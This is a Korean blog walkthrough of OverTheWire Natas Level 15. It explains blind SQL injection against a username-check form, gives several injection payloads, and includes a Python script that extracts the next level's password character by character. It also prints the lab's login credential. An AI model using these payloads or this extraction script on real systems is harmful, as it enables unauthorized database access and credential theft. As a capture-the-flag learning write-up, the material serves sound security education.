Hacking/[Web]Natas

OverTheWire [Natas Level 15]

양선규 2023. 3. 27. 22:01
728x90
반응형

Natas Level 15 입니다.

 

 

Level 15

 

Username을 적는 칸이 있군요.

아무거나 적고 Check existence를 눌러보면,

 

 

존재하지 않는다

 

사용자가 존재하지 않는다고 뜹니다.

입력값과 일치하는 사용자가 DB에 존재하는지 확인하는 기능인 것 같습니다.

 

 

source code

 

소스코드입니다. 입력값을 확인해서 DB에 해당 계정이 존재하는지 확인해주는 기능인 것 같습니다.

쿼리에 문제가 있으면, 문제가 있다는 사실도 알려주고 있구요.

 

일단 코드 자체에 natas16의 password를 출력해주는 기능은 없군요.

그렇다면 우리가 직접 탈취해야 한다는 뜻이죠.

 

맨위 주석부분을 보시면 "users" 테이블을 만든 후, "username" , "password" 컬럼을 추가하고 있습니다.

아마 users 테이블 안에 natas16의 password가 있지 않을까.. 조심스레 예상해 봅니다.

공격을 시도하기 위해, 일단 SQL Injection이 통하는지 확인해 보겠습니다.

 

 

인증우회 구문

 

저번 레벨에서 사용했던 인증우회 구문입니다.

무조건 참인 값을 반환하게 되니, 유저가 존재한다고 뜰겁니다.

Check existence 클릭

 

참(TRUE) 반환

 

유저가 존재한다고 뜨네요.

이는 우리가 입력한 쿼리문이 필터링 없이 전송되어, 의도한 참(TRUE) 값이 반환되었다는 걸 의미합니다.

그러나 유저가 "존재한다/존재하지 않는다"  2가지 결과로만 나뉘게 되어, 로그인에 성공한다거나 직접 DB를 조회한다거나 하는 결과는 얻을 수 없습니다.

 

다시 말하면, 우리가 입력한 쿼리에 대해 참(TRUE)/거짓(FALSE) 값만 반환한다는 이야기 입니다.

이럴 때 우리는 Blind SQL Injection 공격을 사용할 수 있습니다.

Blind SQL Injection 공격은 DB의 참/거짓 반응을 통해, 임의의 값을 하나씩 대조해보며 DB내용을 추출하는 공격입니다.

 

간단하게 DB이름부터 확인해 보겠습니다.

 

DB명 추출

 

입력값은

" or 1=1 and substr(database(),1,1)="a"#

입니다.

 

 

거짓

 

거짓(FALSE) 값을 반환하였습니다.

" or 1=1 and substr(database(),1,1)="a"#     의 뜻은,

 

database() : DB명을 의미함

substr(문자열,1,1) : 해당 문자열의 첫번째부터 한개의 글자를 추출함

-> DB명 첫글자가 "a" 인가?

라는 뜻이 됩니다. 만약 a가 맞다면 참(TRUE)값을 반환하게 됩니다.

이렇게 글자를 하나씩 대입하는 방식으로 엄청난 노가다를 통하여 한글자 한글자씩 추출하는 것입니다.

 

사실,

" or substr(database(),1,1)="a"#

이렇게 and를 빼고 이렇게 입력해도 됩니다. 결과값도 다르지 않구요. 그런데 수많은 구글링을 해본 결과 대부분 and를 포함하시더군요. 그 이유를 초보자인 저는 잘 모르겠습니다. 아시는 분은 알려주시면 감사하겠습니다. 어쨌든 저렇게 쓰셔도 됩니다.

 

그리고 DB명을 추출하기 전, DB명의 길이를 먼저 파악하는 방법도 있습니다. length 함수를 이용하는 것입니다.

" or length(database())=1#

 

length(문자열) : 문자열의 길이를 반환함

-> DB명이 1글자인가?

보통 길이먼저 파악하고 내용을 추출하는게 정석입니다.

 

 

찍기

 

" or substr(database(),1,7)="natas15"#

natas15니까 DB명도 natas15 이지 않을까~ 해서 찍어봤는데 바로 맞아버렸습니다.

 

 

성공

 

사실 예상되는 문자열이었으니 가능했던 거지, 보통은 하나하나 대입하며 알아내거나

자동화 코드를 이용하는게 정석입니다.

 

이번엔 username 컬럼에 natas16 계정이 존재하는지 확인해 봅시다.

 

 

limit 이용

 

" or 1=1 and substr((select username from users limit 0,1),1,1)="n"#

limit 0,1 : 결과값을 0번째(첫번째)부터 0번째(첫번째)까지만 출력한다. ( 0부터 세는 식이며, 두번째 숫자는 1을 빼야 합니다.)

-> users 테이블의 username 컬럼에서 첫번째 레코드의 첫글자가 n 인가?

 

우리는 natas16 이라는 계정이 있을 거라고 예상하고 있으니, 첫글자 n으로 각 레코드들에 대입하는 것입니다.

(실전에선 반복문 짜서 마구 대입해봐야 하긴 합니다)

결과적으로, 4번째에 natas16 계정이 있는걸 확인할 수 있었습니다.

 

여기까지 우리가 얻은 정보는

DB명 : natas15

table명 : users

column명 : username, password

username 테이블의 4번째 위치에 natas16 계정 존재함

이렇게 되겠습니다.

 

해당 내용들을 토대로, natas16의 password를 추출해내면 되는 것입니다.

 

 

ascii code

 

아스키코드표 입니다. 일반적으로 Blind SQL Injection 을 시도할 때, 반복문으로 숫자만 하나씩 올려 편리하게 대입할 수 있도록 아스키코드로 변환하여 대입하곤 합니다.

 

 

그리고 노가다를 통하여 제가 password의 길이를 구해 왔습니다.

" or 1=1 and length((select password from users where username="natas16"))="32"#

password의 길이는 32글자 입니다.

 

그리고 password 첫글자도 추출해 봤습니다.

 

노가다

 

 

" or 1=1 and ascii(substr((select password from users where username="natas16"),1,1))=84#

아스키코드 숫자를 하나씩 늘려가며 노가다해본 결과,

password의 첫 글자는 "T" 라는 것을 확인하였습니다. (84는 대문자T 입니다.)

이런 방식으로 열심히 대입하다 보면, 시간이 문제지 확실히 password를 획득할 수 있습니다.

 

하지만 이렇게 하면 우리의 정신이 남아나질 않겠군요... 자동화 코드가 필요합니다.

그런데 저는 코드에 약합니다.. 그래서 다른 분의 코드를 참고하였습니다.

 

 

import requests
import re
import string

username = 'natas15'
password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'

url = f"http://{username}.natas.labs.overthewire.org/?debug=true"

letters = string.ascii_letters + string.digits

nataspass = ''

while len(nataspass) < 32:
    for char in letters:
        print(f"Attemping password: {nataspass}{char}")
        response = requests.post(url, auth = (username, password), data = {"username":
        'natas16" AND BINARY password LIKE "' + nataspass + char + '%" #'}, )
        if "exists" in response.text:
            nataspass += char
            print(nataspass)
            break

출처 : https://www.youtube.com/watch?v=S3Z8qYfvqZU

외국 유튜버 "odacavo" 님이 만드신 자동화 코드입니다.

 

저는 자동화 코드를 만들기 위해 정말 수많은 글을 참고하였지만 결국 완성하지 못하여,

고민끝에 코드를 그대로 복붙하는 만행을 저질렀음에도 이상하게 코드가 실행이 안되어 (Socket을 이용하는 코드들이었는데, 계속해서 무반응이었음)

절망의 끝에 끝에 해당 코드를 찾을 수 있었습니다.

 

해당 코드는

requests 모듈을 이용하여

natas15의 아이디와 password를 입력하고(인증과정을 거치고)

letters 변수에 문자열들을 담아 쿼리를 반복문으로 대입하고 있습니다.

response.text(반환된 결과값)에 "exists" 문자열이 있으면 "nataspass"변수에 패스워드로써 추가하고 ( 참값이 반환될 때                "This user exists." 문자열이 출력되니 조건문으로 걸어놓은 것입니다 )

최종적으로 패스워드 길이 32글자에 도달하면 반복문이 종료됩니다.

 

 

실행 결과

 

코드 실행 결과입니다.

첫글자는 제가 추출한대로 "T" 였고, 보시다시피 글자를 하나씩 대입하고 있습니다.

마지막 줄엔 추출완료된 password가 출력되었습니다.

 

Blind SQL Injection 공격, 그리고 공격의 자동화 코드를 구현하는 문제였습니다.

자동화 코드도 중요하지만,

직접 공격 구문을 입력하여 데이터를 추출하는 과정을 이해하시면 더 좋을 것 같습니다.

728x90
반응형

'Hacking > [Web]Natas' 카테고리의 다른 글

OverTheWire [Natas Level 17]  (4) 2023.03.29
OverTheWire [Natas Level 16]  (0) 2023.03.28
OverTheWire [Natas Level 14]  (0) 2023.03.25
OverTheWire [Natas Level 13]  (0) 2023.03.17
OverTheWire [Natas Level 12]  (0) 2023.03.16